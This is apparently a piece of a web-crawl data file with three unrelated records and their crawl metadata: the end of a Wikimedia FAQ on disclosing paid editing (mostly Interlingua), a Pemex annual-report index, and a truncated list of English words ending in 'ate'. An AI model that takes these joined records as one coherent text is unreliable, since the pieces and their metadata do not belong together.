inconsistente con iste requirimentos minimal. Le projectos de Wikimedia es libere de cambiar lor politicas pro facer referentia a iste requirimento o de stipular regulas plus stricte pro le contributiones pagate. Nos incoragia le usatores a respectar le confidentialitate de altere usatores e non molestar alteres, non mesmo in caso que on suspecta contributiones pagate. Per exemplo, sub le politica del Wikipedia in anglese sur le molestia, le usatores non pote publicar information personal sur altere usatores.\nComo divulgar contributiones pagate in mi pagina de usator?\nTu pote explicar in tu pagina de usator que tu travalia pro un particular cliente o empleator. Si tu travalia pro le compania Acme, e, como parte del responsabilitates de tu empleo, tu modifica le articulos de Wikipedia sur le compania Acme, tu jam satisface le minimo requirite per le Conditiones de Uso si tu dice simplemente in tu pagina de usator que tu modifica in nomine del compania Acme. Nonobstante, tu debe etiam sequer le politicas del communitate o del Fundation, assi como le lege applicabile.\nComo divulgar contributiones pagate in mi summario de modification?\nTu pote divulgar tu empleator, appertinentia e cliente in le quadro pro summario de modification ante de \"publicar\" tu modification o contribution. Per exemplo, ante de publicar tu modificationes in un articulo de Wikipedia sur tu cliente, Mario Ferrero, tu pote scriber iste nota in le quadro de summario: \"Mario Ferrero me ha ingagiate pro actualisar su articulo de Wikipedia\" o \"Io travalia pro Mario Ferrero\".\nComo divulgar contributiones pagate in un pagina de discussion?\nTu pote divulgar tu empleator, appertinentia e cliente in le pagina de discussion pertinente o ante, o immediatemente post que tu \"publica\" tu modification o contribution.\nEsque io debe divulgar le detalios del recompensa que io recipe?\nTu non es obligate a divulgar le quantitate o typo de recompensa que tu recipe pro modificar; le minimo requirite es que tu divulga tu empleator, cliente e appertinentia.\nDoes the Wikimedia Foundation encourage or accept paid advocacy editing?\nWMF feels that paid advocacy editing is a significant problem that threatens the trust of Wikimedia's readers, as our Executive Director said in her statement on paid advocacy editing. This proposal does not change that position.\nHowever, it is hard to solve the problem of paid advocacy editing without accidentally discouraging good-faith editors, like the various GLAM (gallery, library, archive, and museum) projects. Because of this difficulty, this amendment takes a simple approach: requiring straightforward disclosure of information. This does not mean that paid-advocacy editing is acceptable! Instead, we think that the best way to attack the complex problem while still encouraging new good faith contributions is to combine this pro-transparency requirement with per-project policies that use this new information to make nuanced, difficult case-by-case judgments. We hope that this will lead to the best outcome by combining each Wikimedian's ability to handle nuance and complexity with the resources of the Foundation (when that is absolutely necessary).\nAlso the proposed amendment makes clear that \"community and Foundation policies, such as those addressing conflicts of interest, may further limit paid contributions or require more detailed disclosure.\" This provision gives the community discretion to further limit paid editing, including paid advocacy editing, according to the needs of the specific project. That is, the proposed amendment is a minimal requirement, but the community may impose greater restrictions or bans.\nReferentias","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/meta.m.wikimedia.org\/wiki\/Terms_of_use\/Paid_contributions_amendment\/ia","date":"2022-08-11T23:36:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571536.89\/warc\/CC-MAIN-20220811224716-20220812014716-00753.warc.gz","language":"ina","language_score":0.8721026778,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.872102677822113, \"eng_Latn_score\": 0.08706541359424591}","num_words":4824,"character_repetition_ratio":0.068,"word_repetition_ratio":0.073,"special_characters_ratio":0.174,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.864,"perplexity_score":2083.7,"cluster_detection":-1} +{"text":"Acerca de | Informes, publicaciones y estadísticas | Memoria de labores Memoria de labores Memoria de labores 2014Memoria de labores 2014Archivo descargableMemoria de labores 2013Versión completaArchivo descargableiOSDescargaAndroidDescarga Contenido de la página Memoria de labores (versiones completas) De 2010 a 2012Memoria de labores2012Memoria de labores2011Memoria de labores2010De 2001 a 2009Memoria de labores2009Memoria de labores2008Memoria de labores2007Memoria de labores2006Memoria de labores2005Memoria de labores2004Memoria de labores2003Memoria de labores2002Memoria de labores2001De 1990 a 1999Memoria de labores1999Memoria de labores1998Memoria de labores1997Memoria de labores1996Memoria de labores1995Memoria de labores1994Memoria de labores1993Memoria de labores1992Memoria de labores1991Memoria de labores1990De 1980 a 1989memoria de labores1989Memoria de labores1988Memoria de labores1987Memoria de labores1986Memoria de labores1985Memoria de labores1984Memoria de labores1983Memoria de labores1982Memoria de labores1981Memoria de labores1980De 1970 a 1979Memoria de labores1979Memoria de labores1978Memoria de labores1977Memoria de labores1976Memoria de labores1975Memoria de labores1974Memoria de labores1973Memoria de labores1972Memoria de labores1971Memoria de labores1970De 1965 a 1969Memoria de labores1969Memoria de labores1968Memoria de labores1967Memoria de labores1966Memoria de labores1965","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.pemex.com\/acerca\/informes_publicaciones\/Paginas\/memorias_labores.aspx","date":"2022-10-07T18:08:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030338244.64\/warc\/CC-MAIN-20221007175237-20221007205237-00610.warc.gz","language":"ina","language_score":0.4194785655,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.41947856545448303, \"ile_Latn_score\": 0.2364843636751175, \"lfn_Latn_score\": 0.11630485206842422, \"glg_Latn_score\": 0.06993257254362106, \"lat_Latn_score\": 0.03864667937159538, \"wes_Latn_score\": 0.020793495699763298, \"nov_Latn_score\": 0.010605987161397934}","num_words":335,"character_repetition_ratio":0.469,"word_repetition_ratio":0.764,"special_characters_ratio":0.282,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":0.463,"perplexity_score":4418.6,"cluster_detection":-1} +{"text":"Here is a table for the list of words that end with 'ate.' There is a total of 3077 'ate' ending words in this list. As there are hundreds of words in this list, we have not provided definitions here. Please visit\nMerriam-Webster for a meaning.\nWords Starting With 'A' and Ending in 'ATE'\nAbacate Abalienate Abate Abbreviate Abdicate Abietate Ablate Ablegate Abnegate Abominate Abranchiate Abrogate Absorbate Absquatulate Acalyptrate Accelerate Accentuate Acceptilate Acclimate Accommodate Acculturate Accumulate Accurate Acephate Acerate Acerbate Acervate Acetabulate Acetate Acetobutyrate Acetonate Acetopropionate Acetylacetonate Acetylate Acetylsalicylate Achate Achlamydate Achordate Aciculate Acidulate Aciliate Acoelomate Acolythate Aconitate Acraniate Acrylate Activate Actuate Acuate Aculeate Aculeolate Acuminate Acuminulate Acylate Adaptate Addlepate Adeciduate Adenylate Adenylpyrophosphate Adequate Adiate Adipate Adjudicate Adjugate Administrate Adnate Adrogate Adsorbate Adstipulate Adulate Adulterate Adumbrate Advocate Aerate Aestivate Aetiolate Affectate Affectionate Affiliate Affricate Aflagellate Agate Agglomerate Agglutinate Aggrate Aggravate Aggregate Agitate Aglossate Agnate Aguacate Airdate Alate Alembicate Alginate Alienate Aliterate Alkoxylate Alkylate Alleviate Allineate\nAlliterate Allocate Allophanate Alloxanate Alluviate Allylate Altercate Alternate Aluminate Aluminophosphate Aluminosilicate Alveolate Amalgamate Amate Ambicolorate Ambulate Ameliorate Amicronucleate Amidate Amitate Ammonate Ammoniate Amplexicaudate Amplexifoliate Ampliate Ampullate Amputate Analogate Anchorate Angustirostrate Angustisellate Animate Anisate Annihilate Annotate Annulate Annunciate Ansate Antedate Antennate Antepenultimate Anthranilate Anticipate Anticorporate Anticorrelate Antimonate Antimoniate Antiprostate Antiquate Antistate Anucleate Anucleolate Aparaphysate Apiculate Apocopate Apophysate Apostate Apostolate Appellate Appendiculate Appersonate Applicate Apportionate Apprecate Appreciate Approbate Appropinquate Appropriate Approximate Aquate Aralkylate Arbitrate Archaecraniate Archdeaconate Archegoniate Archidiaconate Archiepiscopate Archipresbyterate Archontate Archpresbyterate Arcuate Arelate Areolate Argentate Arillate Aristate Arpeggiate Arrogate Arrowplate Arsenate Arsenicate Arsonate Articulate Arylate Ascidiate Ascorbate Asellate Aseptate Asiphonate Aspartate Asperate\nAsperifoliate Asperulate Asphyxiate Aspiculate Aspidobranchiate Aspirate Assassinate Asseverate Assibilate Assimilate Associate Assonate Assubjugate Astipulate Astrogate Ate Athecate Atomate Atracheate Atremate Attemperate Attentate Attenuate Atterrate Augurate Aurate Aureate Auriculate Auriphrygiate Auscultate Auspicate Authenticate Autolysate Autolyzate Automate Autoplate Autorotate Averruncate Aviate Avunculate Axiate Azelate\nWords Starting With 'B' and Ending in 'ATE'\nBaccalaureate Backcourtmate Backdate Backplate Baldpate Ballate Bandmate Barbate Barbellate Barbellulate Barbiturate Baseplate Bate Batrachiate Batterymate Beatificate Bedmate Bedplate Behenate Belate Beneficiate Benzoate Benzoylate Benzylate Berate Berrugate Beryllate Bespate Bialate Biarticulate Biauriculate Biborate Bicarbonate Bicarinate Bicarpellate Bichromate Bicolligate Biconjugate Bicostate Bidentate Bidenticulate Bidigitate Biflabellate Biflagellate Bifoliate Bifoliolate Biforate Bifurcate Bigeminate Biguttate Bijugate Bilabiate Bilaminate Biliterate Billingsgate Bimaculate Binate Binervate Binoculate\nBinoxalate Binucleate Bioaccumulate Biocellate Bioperculate Biopirate Bioxalate Bipalmate Bipectinate Bipeltate Biphosphate Bipinnate Biplicate Bipunctate Biradiate Birotulate Birthrate Biseriate Biserrate Bisilicate Bisinuate Bismuthate Bisphosphate Bisphosphonate Bisporangiate Bistate Bistriate Bisulcate Bisulfate Bitartrate Biternate Bitrate Biunguiculate Bivariate Bivittate Blate Bloviate Boatmate Boilerplate Bombinate Bookplate Borate Borosilicate Botherate Bovate Bracemate Brachiate Bracteate Bracteolate Branchiate Breastplate Brecciate Breviate Brevicaudate Bromate Brominate Buckplate Bunkmate Bursate Bursiculate Butylate Butyrate\nWords Starting With 'C' and Ending in 'ATE'\nCabinmate Cachinnate Caducibranchiate Caffeate Caffeinate Calcarate Calceolate Calcinate Calcitrate Calculate Calibrate Caliculate Califate Caliphate Calumniate Calycate Calyculate Calyptrate Camerate Campanulate Camphorate Canaliculate Candidate Cannulate Canonicate Cantillate Cantorate Capacitate Capitate Capitellate Capitulate Caprificate Captivate Carbamate Carbanilate Carbohydrate Carbonate Carbonylate Carboxylate\nCarburate Cardinalate Carinate Carinulate Carnate Carpellate Carucate Carunculate Caseate Caseinate Casemate Cassate Castellate Castigate Castmate Castrate Cate Catechumenate Catenate Catholicate Caudate Cauponate Cavate Cavitate Cedrate Celebrate Celibate Cellmate Cellulate Censorate Centerplate Centesimate Centreplate Centrifugate Centuplicate Centuriate Cephalate Cephalochordate Cerate Cerebrate Cerotate Certificate Certiorate Chacate Chalybeate Chancellorate Cheapskate Checkmate Chelate Chelicerate Chichipate Chlamydate Chlorate Chloridate Chlorinate Chloroacetate Chloroaurate Chlorocarbonate Chloroformate Chloropalladate Chloroplatinate Chlorosulfonate Chlorozincate Choanate Choanoflagellate Chocolate Cholate Choleate Chordate Choristate Chromate Cicurate Ciliate Ciliolate Cingulate Circinate Circulate Circumambulate Circumnavigate Circumnutate Circumstantiate Circumvallate Cirrate Citraconate Citrate Clapskate Classmate Clathrate Clathrulate Clavate Claviculate Climate Clitellate Clodpate Clofibrate Clypeate Coacervate Coadunate Coagmentate Coagulate Coalternate\nCoarctate Cocreate Cocultivate Cocurate Coeducate Coelenterate Coelomate Cogitate Cognate Cohabitate Coindicate Collaborate Collate Collectorate Collegiate Colliculate Colligate Collimate Colliquate Collocate Colocate Colorplate Colourplate Colpate Columbate Comate Combinate Commemorate Commensurate Commentate Comminate Commiserate Commissionate Commodate Communicate Commutate Compaginate Companionate Compassionate Compenetrate Compensate Complanate Complicate Compregnate Concatenate Concelebrate Concentrate Conchate Conciliate Concinnate Concionate Concolorate Concorporate Concreate Concubinate Conculcate Condensate Conditionate Condominate Conduplicate Conepate Confabulate Confederate Conferruminate Configurate Confiscate Conflagrate Conflate Congeliturbate Conglaciate Conglobate Conglomerate Conglutinate Congratulate Congregate Conjugate Connate Consarcinate Consecrate Considerate Consociate Consolate Consolidate Constate Constellate Consternate Constipate Constuprate Consubstantiate Consulate Consummate Contaminate Contemplate Conterminate Continuate Contorniate Contortionate Contraindicate Contrate Contravindicate Contristate\nContriturate Conversate Convocate Cooperate Coordinate Copemate Copesmate Copperplate Coprecipitate Copulate Corbiculate Cordate Corelate Corniculate Corollate Coronate Corotate Corporate Correlate Corroborate Corrugate Corticostriate Cortinate Coruscate Costate Counterdemonstrate Counterirritate Covariate Cowgate Craniate Crate Create Cremate Crenate Crenelate Crenellate Crenulate Creosotate Crepitate Cresotate Cresotinate Cresylate Crewmate Cribellate Criminate Crispate Cristate Crotonate Cruciate Cryohydrate Cryptobranchiate Cucullate Culminate Cultivate Cultrate Cumulate Cuneate Cupmate Cupulate Curate Curtate Cuspate Cuspidate Cuticulate Cyanate Cyanoacetate Cyanoacrylate Cyclamate Cyclosilicate Cyclostomate Cyphellate Cystoflagellate Cytolyzate\nWords Starting With 'D' and Ending in 'ATE'\nDaimiate Date Deacetylate Deaconate Deactivate Deacylate Deaerate Dealate Dealbate Dealkylate Deaminate Deaspirate Deaurate Debate Debellate Debilitate Decaffeinate Decahydrate Decalobate Decantate Decapitate Decarbonate Decarboxylate Decaudate Decelerate Decemvirate Decerebellate Decerebrate\nDechlorinate Decimate Declinate Declivate Decollate Decompensate Deconcentrate Deconglomerate Deconsecrate Decontaminate Decorate Decorticate Decrepitate Deculturate Decurionate Decurtate Decussate Dedicate Dedifferentiate Defalcate Defaunate Defecate Defenestrate Defibrate Defibrillate Defibrinate Deflagrate Deflate Deflocculate Defluorinate Defoliate Degenerate Degerminate Deglutinate Dehydrate Dehydrochlorinate Dehydrogenate Delaminate Delate Delectate Delegate Delegitimate Delibate Deliberate Delicate Delimitate Delineate Deliquiate Demarcate Demargarinate Dementate Demethylate Demodulate Demonstrate Demyelinate Dendrodate Denervate Denigrate Denitrate Denominate Denotate Densate Dentate Denticulate Dentirostrate Denudate Denunciate Deoperculate Deoxidate Deoxygenate Depauperate Dephlegmate Dephlogisticate Dephosphorylate Depilate Deplumate Depopulate Deprecate Depreciate Depredate Deracinate Derate Deregulate Deresinate Derivate Dermobranchiate Derogate Derotremate Desalinate Desecrate Desegregate Desiccate Desiderate Designate Desilicate Desolate Desophisticate Despecificate Desperate Despotate Despumate\nDesquamate Destearinate Destinate Desublimate Desulfonate Deteriorate Determinate Detonate Detoxicate Detruncate Deturpate Deuterate Devaluate Devastate Deviate Devirginate Dextrinate Dextrogyrate Diaconate Diagnosticate Dialysate Dialyzate Diazoate Diazosulfonate Diazotate Dibranchiate Dichromate Dictate Didymate Differentiate Digitate Digitinervate Digitipinnate Diisocyanate Dijudicate Dilacerate Dilapidate Dilate Dilucidate Dimenhydrinate Dimethoate Dimidiate Dinergate Dinocerate Dinoflagellate Diomate Dioptrate Diphosphate Diplogangliate Diploglossate Diplomate Directorate Dirtplate Disaccommodate Disaffiliate Disaggregate Disambiguate Disanimate Disarticulate Disassociate Discalceate Discarnate Discombobulate Disconsolate Discreate Discrepate Discriminate Disculpate Disequilibrate Disgregate Disilicate Disincarnate Disincorporate Disinflate Disintegrate Disintermediate Disintoxicate Dislocate Disordinate Disorientate Disparate Dispassionate Disproportionate Disrate Disrelate Disseminate Dissertate Dissimilate Dissimulate Dissipate Dissociate Distemperate Disterminate Distillate Disulfate Disulfonate Dithiocarbamate Dithionate Diumvirate Divagate Divaricate\nDivellicate Diverticulate Divulgate Docoglossate Doctorate Dodecahydrate Dogplate Dolabrate Domesticate Domiciliate Dominate Donate Doorplate Dorsibranchiate Downstate Drawplate Dubitate Dulcorate Dunderpate Duplicate Duumvirate\nWords Starting With 'E' and Ending in 'ATE'\nEbracteate Ebracteolate Ecalcarate Ecarinate Echinate Echolocate Eciliate Ecoclimate Ecorticate Ecostate Ecribellate Ecstasiate Edentate Edentulate Educate Edulcorate Efate Effectuate Effeminate Effigiate Effigurate Efoveolate Eggcrate Eigenstate Ejaculate Elaborate Elate Electorate Electroplate Elevate Elicitate Eliminate Eliquate Elixate Elixirate Elongate Eluate Elucidate Elucubrate Elutriate Eluviate Emacerate Emaciate Emanate Emancipate Emandibulate Emarginate Emasculate Emendate Emigrate Emirate Emolliate Emulate Enate Encapsulate Enculturate Endgate Endosiphonate Endothecate Enervate Enolate Ensate Enstate Enucleate Enumerate Enunciate Envenomate Epalpate Epapillate Eparchate Ephorate Episcopate Epithecate Epollicate Eponymate Epupillate Epurate Equate Equilibrate Equiponderate\nEquivocate Eradiate Eradicate Ergate Eriglossate Erythorbate Escalate Escutellate Eseptate Esiphonate Espathate Esquamate Essentiate Estate Estimate Estivate Estriate Estuate Etherate Ethylate Ethylenediaminetetraacetate Ethylhexoate Etidronate Etiolate Euciliate Eucoelomate Eulamellibranchiate Eusporangiate Eutracheate Evacuate Evaluate Evaporate Eventilate Eventuate Evertebrate Evirate Eviscerate Evittate Evocate Evulgate Exacerbate Exaggerate Exagitate Exalate Exanimate Exarate Exarchate Exasperate Exauctorate Excalcarate Excarnate Excavate Excecate Excogitate Excommunicate Excoriate Excorticate Excruciate Exculpate Excurvate Execrate Exenterate Exfiltrate Exfoliate Exhalate Exheredate Exheridate Exhilarate Exhumate Exilarchate Exonerate Exorbitate Exorcistate Exossate Expatiate Expatriate Expectorate Expediate Expeditate Expiate Expiscate Explanate Explicate Expostulate Exprobrate Expropriate Expurgate Exsanguinate Exsculptate Exscutellate Exsiccate Exstipulate Extenuate Exterminate Extimulate Extirpate Extortionate Extrapolate Extravagate Extravasate Extricate\nExuberate Exudate Exulcerate Exuviate\nWords Starting With 'F' and Ending in 'ATE'\nFabricate Faceplate Facilitate Falcate Falculate Fanglomerate Fantasticate Farctate Fasciate Fasciculate Fascinate Fastigiate Fate Fatigate Featherpate Fecundate Federate Felicitate Fellate Fenestrate Fermentate Ferrate Ferruginate Ferruminate Festinate Fibrate Fibrillate Fidate Figurate Filate Filibranchiate Filtrate Fimbriate Fimbrillate Fishplate Fissipedate Fixate Flabellate Flagellate Flagitate Flatmate Flavianate Flocculate Floodgate Fluate Fluctuate Fluoaluminate Fluoborate Fluophosphate Fluoridate Fluorinate Flushgate Fluxgate Folate Foliate Foliobranchiate Foliolate Folliculate Foraminate Forcipate Forcipulate Foredate Foregate Forficulate Forisfamiliate Formaldehydesulfoxylate Formate Formulate Formylate Fornicate Fortunate Fossulate Foveate Fractionate Fragmentate Frate Frenate Frigate Frustrate Fugitate Fulcrate Fulgurate Fulminate Fumarate Fumigate Functionate Furcate Furcellate Furoate Fusate Fustigate\nWords Starting With 'G' and Ending in 'ATE'\nGalafate Galeate Gallate Gangliate Gaonate Gastrulate\nGate Gelate Gelatinate Geminate Gemmate Generate Geniculate Gentisate Gerate Germinate Gestate Gesticulate Glabrate Glaciate Gladiate Globate Glochidiate Glomerate Glomerulate Glossate Gluconate Glutamate Glycerate Glycerinate Glycerolate Glycosylate Glyphosate Governorate Gradate Graduate Granulate Grate Gratinate Gratulate Gravitate Graypate Guesstimate Gunate Guttulate Gymnoglossate Gyrate Gyrencephalate\nWords Starting With 'H' and Ending in 'ATE'\nHabilitate Habituate Haematobranchiate Hakodate Halate Hallucinate Halogenate Hamate Harrogate Hastate Hatchgate Hate Haustellate Headgate Headplate Hebetate Hecate Helpmate Hemachate Hemagglutinate Hemibranchiate Hemichordate Hemihydrate Hemoflagellate Heptahydrate Hereticate Herniate Hesitate Hesperidate Heterogangliate Heteromastigate Heterosomate Hetmanate Hexachloroplatinate Hexahydrate Hexametaphosphate Hibernate Hierogrammate Hispidulate Holosiphonate Homogangliate Homogenate Homologate Horripilate Housemate Humate Humectate Humiliate Hydracrylate Hydrate Hydrazoate Hydridoborate Hydroborate Hydrocarbonate Hydrochlorinate Hydroclimate Hydroformate Hydrogenate Hydrolysate\nHydrolyzate Hydrosilicate Hydroxylate Hyperstimulate Hyperventilate Hyphenate Hyphopodiate Hypothecate Hypovanadate\nWords Starting With 'I' and Ending in 'ATE'\nIdeate Illaborate Illaqueate Illegitimate Illimitate Illiterate Illoricate Illucidate Illuminate Illustrate Illuviate Imamate Imbreviate Imbricate Imitate Immaculate Immarginate Immatriculate Immediate Immensurate Immigrate Immiserate Immoderate Immolate Immunoprecipitate Impanate Imparipinnate Impassionate Impaternate Impectinate Impenetrate Imperate Imperforate Impersonate Impetrate Impignorate Impinguate Implicate Importunate Imposthumate Impostumate Imprecate Impregnate Improportionate Impropriate Improvisate Impunctate Inaccurate Inactivate Inadequate Inadunate Inanimate Inappropriate Inarticulate Inaugurate Incaliculate Incapacitate Incapsulate Incarcerate Incardinate Incarnate Inchoate Incinerate Incommensurate Incommodate Incompassionate Incomplicate Inconsiderate Incontaminate Incoronate Incorporate Incrassate Increate Incriminate Incrustate Incubate Incudate Inculcate Inculpate Incultivate Incurvate Indagate Indeciduate Indeliberate Indelicate Indesignate Indeterminate Indicate Indigitate Indiscriminate Individuate Indoctrinate\nIndurate Inebriate Inelaborate Inexpiate Infatuate Inferobranchiate Infiltrate Inflate Infortunate Infrigidate Infumate Infundibulate Infuriate Infuscate Ingate Ingeminate Ingenerate Ingrate Ingratiate Ingravidate Ingurgitate Inhabitate Initiate Inmate Innate Innervate Innominate Innovate Innumerate Inoculate Inodiate Inoperculate Inordinate Inornate Inosculate Inosilicate Inquinate Inquorate Insatiate Inseminate Insensate Inseparate Insidiate Insinuate Insolate Inspectorate Inspirate Inspissate Instantiate Instate Instigate Instrumentate Insubordinate Insufflate Insulate Integrate Intemerate Intemperate Intenerate Intensate Interanimate Intercalate Intercollegiate Intercommunicate Intercorporate Intercorrelate Intercreate Interdigitate Interfoliate Interjaculate Interlaminate Interlineate Interlobate Intermediate Interminate Interoperate Interosculate Interpellate Interpenetrate Interpolate Interpretate Interpunctuate Interrelate Interrogate Interstate Interstimulate Intestate Intimate Intimidate Intitulate Intonate Intoxicate Intraplate Intrastate Intricate Intubate Inumbrate Inundate Inusitate Invaginate Invalidate\nInvertebrate Investigate Inveterate Invigilate Invigorate Invinate Inviolate Invirtuate Inviscate Invocate Involucellate Involucrate Iodate Iodinate Iodobehenate Iodomercurate Iodomercuriate Irate Irradiate Irradicate Irregenerate Irregulate Irrelate Irrigate Irritate Irrogate Irrorate Isobutyrate Isocyanate Isolate Isopropylate Isothiocyanate Isthmiate Italianate Iterate Itinerate\nWords Starting With 'J' and Ending in 'ATE'\nJacate Jaculate Jaspachate Jaspagate Jubate Jubilate Jugate Jugulate Juniorate\nWords Starting With 'K' and Ending in 'ATE'\nKarate Katastate Kate Kernellate Khanate Khedivate Khediviate Kickplate\nWords Starting With 'L' and Ending in 'ATE'\nLabellate Labelmate Labiate Laccate Lacerate Laciniate Lacinulate Lactate Lacunate Lamellate Lamellibranchiate Laminate Lanate Lanceolate Lancinate Landgraviate Laniate Lapidate Larvate Late Latinate Latirostrate Laureate Laxate Leachate Lectorate Legate Legislate Legitimate Lemniscate Lenticellate Lenticulate Leptosporangiate Levigate Levirate Levitate Levogyrate Libate Liberate Librate Licentiate Liftgate Ligate Ligninsulfonate Lignosulfonate Ligulate Limbate Lineate\nLineolate Lingulate Linoleate Liquate Liquidate Lirellate Lissoflagellate Literate Lithiate Litigate Littermate Lituate Liturate Lixiviate Lobate Lobulate Locate Locellate Loculate Lophobranchiate Lophophorate Loricate Lovemate Lubricate Lucubrate Luminate Lunate Lunulate Lustrate Luxuriate Lydgate Lyrate Lysate\nWords Starting With 'M' and Ending in 'ATE'\nMacerate Machicolate Machinate Macrergate Macroaggregate Macroclimate Macroergate Macroinvertebrate Macronucleate Maculate Magistrate Magnate Magnificate Makebate Malate Malaxate Maleate Maleficiate Malleate Mamillate Mammillate Mancipate Mandarinate Mandate Mandibulate Manducate Manganate Manipulate Margarate Margate Marginate Margravate Margraviate Marinate Maritimate Marmorate Marquessate Marquisate Masbate Masterplate Masticate Masturbate Mate Materiate Matriarchate Matriculate Matrilineate Matterate Maturate Maximate Mecate Mediate Medicate Meditate Melicrate Meliorate Mellitate Membranate Mendicate Menstruate Mensurate Meprobamate Mercurate Mercuriate Mermithergate Merthiolate Mesogyrate Messmate\nMetaborate Metalate Metaphosphate Metasilicate Metate Metatungstate Metavanadate Methacrylate Methosulfate Methotrexate Methylate Methylphenidate Metricate Metropolitanate Micrergate Microclimate Microencapsulate Microergate Micronucleate Microplate Microsporangiate Microstate Micturate Migrate Militate Minchiate Miniate Ministate Minorate Mirate Misallocate Misappreciate Misappropriate Misarticulate Miscalculate Miscreate Misdate Miseducate Misestimate Misevaluate Misfortunate Mislocate Mismate Mispunctuate Misrelate Missionate Misstate Mistranslate Mithridate Mitigate Mitrate Moderate Modulate Molybdate Molybdophosphate Monoacetate Monobranchiate Monobromate Monobrominate Monochlorinate Monodentate Mononitrate Mononucleate Monopectinate Monoplaculate Monostomate Monotremate Monounsaturate Monoverticillate Monticulate Morigerate Morrhuate Motivate Mucronate Mudspate Multicandidate Multiloculate Multinucleate Multiplicate Multiseriate Multistate Multituberculate Multivariate Muriate Muricate Muriculate Mussitate Mutate Muticate Mutilate Mutuate Myxoflagellate\nWords Starting With 'N' and Ending in 'ATE'\nNameplate Naphthalate Naphthenate Naphthionate Narrate Nauseate Navigate Necessitate Negate\nNegativate Negociate Negotiate Neonate Neotremate Nervate Nesosilicate Newgate Nictate Nictitate Nidificate Nidulate Niobate Nippitate Nitrate Nitrogenate Nitroprussiate Nizamate Nobilitate Nodulate Nominate Nonahydrate Nonbarbiturate Noncandidate Noncollegiate Noncorporate Nondeciduate Nondegenerate Nondelegate Nondeliberate Nongraduate Noninitiate Nonliterate Nonoperculate Nonphosphate Nonseptate Nonsilicate Nonumbilicate Norate Notate Notionate Notoungulate Notungulate Novate Novitiate Nucleate Nucleolate Nudibranchiate Nudicaudate Nullipennate Numerate Nunciate Nuncupate Nutate\nWords Starting With 'O' and Ending in 'ATE'\nObambulate Obclavate Obcordate Obcuneate Obdurate Obfirmate Obfuscate Objectivate Objurgate Oblanceolate Oblate Obligate Obliquate Obliterate Obliviate Obnebulate Obnubilate Obovate Obrogate Obsecrate Obstetricate Obstinate Obstipate Obstreperate Obtemperate Obtenebrate Obtruncate Obturate Obturbinate Obumbrate Obvallate Obviate Ocellate Ocreate Octaacetate Octoate Octostiate Octuplicate Oculate Odonate Odorate Oenanthate Officiate Oleate Ominate Omoplate Opacate\nOperate Operculate Opiate Opiniate Opinionate Opisthobranchiate Opisthoglossate Opisthogoneate Opisthogyrate Oppignerate Oppignorate Oppilate Opprobriate Oppugnate Optate Oraculate Orate Orbiculate Orchestrate Ordinariate Ordinate Organophosphate Orientate Originate Ornate Orthoarsenate Orthophosphate Orthosilicate Oscillate Osculate Ossiculate Ostentate Ostiate Ostiolate Otate Outate Outdate Outdebate Outgate Outmanipulate Outpopulate Outrate Outskate Outstate Ovate Overaccentuate Overarticulate Overate Overcommunicate Overcompensate Overcomplicate Overdate Overdecorate Overdelicate Overeducate Overelaborate Overestimate Overevaluate Overexaggerate Overextrapolate Overinflate Overintricate Overmedicate Overoperate Overornate Overpopulate Overrate Overregulate Oversaturate Overspeculate Overstate Overstimulate Ovulate Oxalacetate Oxalate Oxaloacetate Oxamate Oxeate Oxgate Oximate Oxygenate Oxymuriate Oxynitrate Oxytylotate Ozonate\nWords Starting With 'P' and Ending in 'ATE'\nPacate Pachyglossate Paenungulate Paginate Palaeotremate Palamate Palate Palatinate Palatoquadrate Paleate Paleoclimate Paleolate Palliate Palmate Palmitate Palpate\nPalpebrate Palpitate Pandurate Paniculate Pantothenate Papillate Parabranchiate Paraglossate Paraphysate Paraquadrate Paratungstate Parcidentate Parentate Particate Participate Particulate Passionate Passivate Pastorate Patagiate Pate Patellate Patellulate Patinate Patriarchate Patriciate Patrizate Patrocinate Patronate Paxillate Pectate Pectinate Pectinibranchiate Pectunculate Peculate Pedate Pedestrianate Pedestrinate Pedicellate Pediculate Pedipalpate Pedunculate Pejorate Pelargonate Pelliculate Peloriate Peltate Pendulate Penetrate Penicillate Peninsulate Pennate Pentadecahydrate Pentahydrate Penultimate Peptonate Perambulate Perborate Percarbonate Perchlorate Perchlorinate Perchromate Percolate Peregrinate Perennate Perennibranchiate Perfectionate Perflate Perfluorinate Perfoliate Perforate Perfricate Perfusate Perhydrogenate Periclitate Perissodactylate Perlustrate Permanganate Permeate Permutate Pernoctate Peronate Perorate Peroxidate Peroxycarbonate Peroxychromate Peroxydisulfate Peroxysulfate Perpetrate Perpetuate Perrhenate Perseverate Persiflate Personate Perspirate Perturbate Pervaporate Petate Petechiate Petiolate Petiolulate\nPhaneroglossate Phanerozonate Phenolate Phenylate Phenylcarbamate Philosophate Phlogisticate Phonate Phorate Phosphate Phosphinate Phosphoenolpyruvate Phosphoglycerate Phosphomolybdate Phosphorate Phosphorylate Phosphosilicate Photodisintegrate Photodissociate Photoduplicate Photoplate Photosynthate Phthalate Phyllobranchiate Phyllosilicate Phytoflagellate Pignorate Pilate Pileate Pimelate Pinacolate Pinnate Pinnulate Pinulate Pirate Pistillate Placate Placcate Placentate Planate Planipennate Plasticate Plate Platinate Playdate Playmate Plerergate Pleurobranchiate Plicate Plicatulate Ploimate Ploughgate Plowgate Plumate Plumbate Plumulate Pollenate Pollinate Polyacrylate Polycarbonate Polycarpellate Polychromate Polydentate Polymerizate Polymolybdate Polymorphonucleate Polyphosphate Polysorbate Pomegranate Ponderate Pontificate Populate Porcate Porporate Possessionate Possibilitate Postbaccalaureate Postcollegiate Postdate Postdebate Postdoctorate Postgraduate Postliterate Postnate Postulate Potentate Potentiate Potestate Prate Preambulate Precipitate Precogitate Precollegiate Predate Predesignate Predestinate Predeterminate Predicate Predominate Prefabricate Prefigurate\nPreformulate Pregeniculate Pregnate Preincarnate Preindicate Prejudicate Prelate Preliterate Premeditate Premiate Premonstrate Prenominate Preoccupate Preparate Preponderate Presbyterate Presentiate Prestate Prevaricate Prevertebrate Primate Principate Priorate Private Probate Proboscidate Prochordate Proclinate Proconsulate 